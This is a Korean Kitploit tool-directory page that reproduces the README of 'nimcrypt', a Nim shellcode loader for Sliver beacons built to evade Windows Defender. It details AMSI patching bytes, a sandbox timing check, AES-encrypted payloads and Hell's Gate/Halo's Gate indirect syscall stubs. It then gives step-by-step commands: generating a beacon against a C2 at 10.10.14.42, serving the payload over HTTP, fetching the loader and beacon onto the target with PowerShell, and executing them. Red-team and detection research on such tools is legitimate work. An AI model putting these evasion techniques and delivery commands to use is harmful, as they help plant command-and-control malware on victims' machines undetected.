Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
nimcrypt — Nim 기반 암호화 도구 - 셸코드와 페이로드를 난독화하여 Windows Defender를 우회합니다. | Kitploit
도구/GitHubGitHub/chaelsoo/nimcrypt
Encryption/Decryption ToolsExploitationIDS/IPS EvasionShellcodePenetration TestingCommand and ControlRed TeamingPayload DevelopmentAnti-Bot
GitHubchaelsoo/nimcrypt

nimcrypt

Nim 기반 암호화 도구 - 셸코드와 페이로드를 난독화하여 Windows Defender를 우회합니다.

21211개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

nimcrypt

Nim으로 작성된 Sliver 셸코드 로더로, Windows x64를 대상으로 합니다. 가장 일반적인 두 가지 전달 상황을 다루는 두 가지 변종이 있습니다. 실시간 보호가 활성화된 Windows Defender에서 테스트되었습니다.

변종

stager

암호화된 셸코드 blob을 디스크에서 읽어 메모리에서 복호화한 후 자체 주입합니다. 파일 드롭 프리미티브가 이미 있고 작고 간단한 바이너리가 필요할 때 사용합니다.

root@kitploit:~
loader.exe <shellcode.bin> [key_hex iv_hex]

Key와 IV는 선택 사항입니다. 생략하면 파일을 암호화되지 않은 원시 셸코드로 처리합니다.

stageless

Windows WinHTTP 스택을 사용하여 C2에서 HTTP를 통해 암호화된 blob을 다운로드하고, 메모리에서 복호화한 후 자체 주입합니다. 파일이 디스크에 닿지 않습니다. 대상에서 바이너리를 실행할 수 있지만 두 번째 파일을 안정적으로 드롭할 수 없을 때 사용합니다.

컴파일하기 전에 stageless/loader.nim 상단의 상수를 편집합니다:

root@kitploit:~
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey  = "..."   # encrypt.py의 64자리 16진수
scIV   = "..."   # encrypt.py의 32자리 16진수

기술

샌드박스 회피

Stageless 로더는 시작 시 Sleep(5000)을 호출하고 GetTickCount64로 실제 경과 시간을 측정합니다. 4500ms 미만이면 프로세스가 종료됩니다. 대부분의 자동화된 샌드박스 환경은 sleep을 빨리 감거나 건너뛰기 때문에 검사에 실패합니다. 이 작업은 네트워크 활동이나 셸코드 실행 전에 이루어지므로 네트워크 동작을 검사하는 샌드박스는 아무것도 보지 못합니다.

AMSI 우회

amsi.nim은 두 가지 난독화 계층을 사용하여 런타임에 AmsiScanBuffer를 패치합니다:

FNV-1a 해싱을 통한 문자열 숨기기. AmsiScanBuffer 문자열은 바이너리에 절대 나타나지 않습니다. 대신 컴파일 타임에 FNV-1a 해시가 계산되어 상수로 저장됩니다. 런타임에 로더는 amsi.dll의 익스포트 테이블을 탐색하고 각 익스포트 이름을 해싱하여 저장된 값과 비교하므로 문자열을 메모리에 보유하지 않고 함수 주소를 찾습니다.

컴파일 타임 XOR 난독화. DLL 이름(amsi.dll)과 패치 바이트(xor eax, eax; ret = 31 C0 C3)는 모두 Python 서브프로세스를 통해 빌드마다 새로 생성되는 난수 키로 컴파일 타임에 XOR 인코딩됩니다. 키는 상수로 포함되고 바이트는 사용 직전에 런타임에 디코딩됩니다. 원시 바이트는 빌드마다 변경되어 패치 시퀀스의 정적 서명을 깨뜨립니다.

패치는 AmsiScanBuffer의 처음 3바이트를 xor eax, eax; ret로 덮어쓰므로 모든 호출이 입력에 관계없이 AMSI_RESULT_CLEAN을 반환합니다.

페이로드 암호화

encrypt.py는 무작위로 생성된 32바이트 키와 16바이트 IV를 사용하여 AES-256-CBC로 원시 셸코드를 암호화합니다. 로더는 Windows BCrypt API를 사용하여 제자리에서 복호화하므로 대상에 타사 암호화 라이브러리가 필요하지 않습니다.

RW에서 RX로의 메모리 전환

메모리는 PAGE_READWRITE로 할당되고, 셸코드가 기록된 후 실행 전에 영역이 PAGE_EXECUTE_READ로 전환됩니다. PAGE_EXECUTE_READWRITE로 직접 할당하는 것은 잘 알려진 서명으로 Defender 및 EDR이 명시적으로 플래그 지정합니다. 쓰기와 실행 단계를 분리하면 이 패턴을 피할 수 있습니다.

간접 시스템 콜 (Hell's Gate + Halo's Gate)

stageless/syscalls.nim은 Win32 API 계층(kernel32.dll)과 EDR이 배치한 ntdll.dll 사용자 후크를 모두 우회합니다.

SSN 해결. 시작 시 로더는 ntdll의 기본 주소를 가져와 PE 익스포트 테이블을 구문 분석하고 RVA로 정렬된 모든 Nt* 익스포트를 수집합니다. 필요한 각 NT 함수에 대해 처음 4바이트를 확인합니다:

  • 4C 8B D1 B8 (mov r10, rcx; mov eax, imm32)은 스텁이 깨끗하고 SSN이 바이트 4-5에서 직접 읽힌다는 의미입니다. 이것이 Hell's Gate입니다.
  • 다른 값은 함수 프롤로그가 EDR 후크에 의해 패치되었음을 의미합니다. 이 경우 로더는 정렬된 목록에서 이웃을 검색하여 깨끗한 스텁을 찾은 다음 대상 SSN을 neighbor_SSN +/- distance로 계산합니다. SSN은 주소 순서대로 스텁당 1씩 증가합니다. 이것이 Halo's Gate입니다.

Gadget 위치 찾기. 로더는 찾은 첫 번째 깨끗한 Nt* 스텁에서 바이트 시퀀스 0F 05 C3 (syscall; ret)를 검색합니다. 이를 통해 재사용할 수 있는 ntdll의 이미지 백업 .text 섹션 내부 주소를 얻습니다.

스텁 생성. 필요한 각 함수에 대해 22바이트 스텁이 단일 RW 페이지에 기록되고 사용 전에 RX로 전환됩니다:

root@kitploit:~
4C 8B D1              mov r10, rcx
B8 xx xx 00 00        mov eax, <SSN>
FF 25 00 00 00 00     jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx  gadget 주소

jmp [rip+0]는 바로 뒤에 있는 8바이트(gadget 주소)를 역참조하여 실행을 ntdll의 기존 syscall; ret 시퀀스로 리디렉션합니다. syscall 명령어는 익명 할당이 아닌 ntdll의 .text에서 실행되므로 시스템 콜을 발행한 메모리 영역에 대한 커널 수준 추적을 무력화합니다.

간접 시스템 콜이 적용되는 네 가지 함수는 NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtWaitForSingleObject입니다.

자체 주입

복호화 후 stageless 로더는 NtAllocateVirtualMemory를 통해 자체 프로세스에 RW 영역을 할당하고, copyMem으로 셸코드를 복사한 후, NtProtectVirtualMemory로 영역을 RX로 전환하고, NtCreateThreadEx로 스레드를 생성합니다. 그런 다음 메인 스레드는 NtWaitForSingleObject에서 무기한 차단되어 비콘의 고루틴이 실행되는 동안 프로세스를 유지합니다. 네 호출 모두 위에서 설명한 간접 시스템 콜 스텁을 통해 이루어집니다.

자체 주입은 호출 표면을 최소화합니다. WriteProcessMemory, CreateRemoteThread 등과 같은 프로세스 간 API 호출이 없으며, 이는 기존 원격 주입의 주요 탐지 벡터입니다.

실행 흐름 (stageless)

  1. 타이밍 검사: 5초 sleep, 경과 시간 < 4.5초면 종료
  2. AMSI 패치: FNV-1a를 통해 AmsiScanBuffer 찾기, xor eax, eax; ret로 덮어쓰기
  3. 간접 시스템 콜 스텁 해결: ntdll 익스포트 구문 분석, SSN 찾기 (Hell's Gate + Halo's Gate), syscall; ret gadget 위치 찾기, 스텁 쓰기
  4. 다운로드: WinHTTP GET 요청, 응답 본문 읽기
  5. 복호화: BCrypt를 통해 AES-256-CBC 제자리 복호화
  6. 할당: 간접 시스템 콜을 통해 자체 프로세스에 NtAllocateVirtualMemory (RW)
  7. 셸코드를 할당에 복사
  8. 보호: 간접 시스템 콜을 통해 NtProtectVirtualMemory로 PAGE_EXECUTE_READ로 전환
  9. 실행: 간접 시스템 콜을 통해 NtCreateThreadEx
  10. 대기: 간접 시스템 콜을 통해 스레드 핸들에서 NtWaitForSingleObject

실행 흐름 (stager)

  1. AMSI 패치
  2. 디스크에서 셸코드 파일 읽기
  3. 키와 IV가 제공되면 복호화
  4. VirtualAlloc (RW), 셸코드 복사, VirtualProtect로 RX로 전환
  5. 함수 포인터 캐스트를 통해 실행

요구 사항

Linux 빌드 머신:

  • Nim + nimble (nimble install winim)
  • mingw-w64 (x86_64-w64-mingw32-gcc)
  • Python 3 + pycryptodome (pip install pycryptodome)

전체 워크플로우

1. Sliver 리스너 시작

root@kitploit:~
[server] sliver > mtls --lhost 10.10.14.42 --lport 443

2. 비콘 셸코드 생성

root@kitploit:~
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon

3. 암호화

root@kitploit:~
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv:  83b82994e8c512d536f7d42e89d6e761

4. 상수 설정 및 컴파일

stageless/loader.nim을 편집하여 c2Host, c2Port, c2Path, scKey, scIV를 설정한 후, 프로젝트 루트에서:

root@kitploit:~
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim

# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim

항상 프로젝트 루트에서 컴파일하여 루트 nim.cfg만 로드되도록 합니다. 출력은 정적으로 링크된 Windows x64 PE이며, 표준 시스템 라이브러리 외에 외부 DLL 종속성이 없습니다.

5. 제공 또는 전송

Stageless: 암호화된 blob을 c2Port와 일치하는 포트에서 HTTP로 제공:

root@kitploit:~
cd bins && python3 -m http.server 443

Stager: 두 파일을 대상으로 전송:

root@kitploit:~
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")

6. 실행

Stageless:

root@kitploit:~
loader.exe

암호화된 stager:

root@kitploit:~
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761

암호화되지 않은 stager:

root@kitploit:~
loader.exe shellcode.bin

PowerShell 전달

PowerShell 다운로드 요람을 통해 전달하는 경우, 로더가 실행되기 전에 AMSI가 스크립트를 검사합니다. 먼저 PS 세션에서 AMSI를 패치합니다:

root@kitploit:~
python3 gen_amsi.py

출력을 PS 세션에 붙여넣은 후 다운로드하거나 실행합니다. 스크립트는 익스포트 테이블 해시를 통해 AmsiScanBuffer를 찾으므로 문자열이 일반 텍스트로 나타나지 않으며, 모든 패치 바이트는 실행마다 무작위 키로 XOR 인코딩됩니다.

참고 사항

  • Windows 10 / Server 2016+ 필요 (Universal CRT)
  • BCryptSetProperty는 체이닝 모드에 대해 STATUS_INVALID_PARAMETER를 반환하지만 BCrypt는 기본적으로 CBC를 사용하므로 복호화는 정상 작동합니다
  • 간접 시스템 콜은 주입에 중요한 네 가지 NT 함수만을 다룹니다. Winsock 및 BCrypt 호출은 여전히 일반 API 경로를 통해 이루어지며, 이러한 호출은 개별적으로 동작상 무해하므로 허용됩니다
  • 스텁의 syscall 명령어는 스텁 페이지가 아닌 ntdll의 .text 섹션(이미지 백업, Microsoft 서명) 내에서 실행되므로 시스템 콜 출처에 대한 커널 수준 추적을 무력화합니다

참고 자료

  • https://github.com/gatariee/ldrgen
  • https://github.com/D3Ext/Hooka

Defender 메커니즘, 기술 및 기타 도구에 대한 자세한 내용은 내 블로그에서 확인할 수 있습니다.

도구 다운로드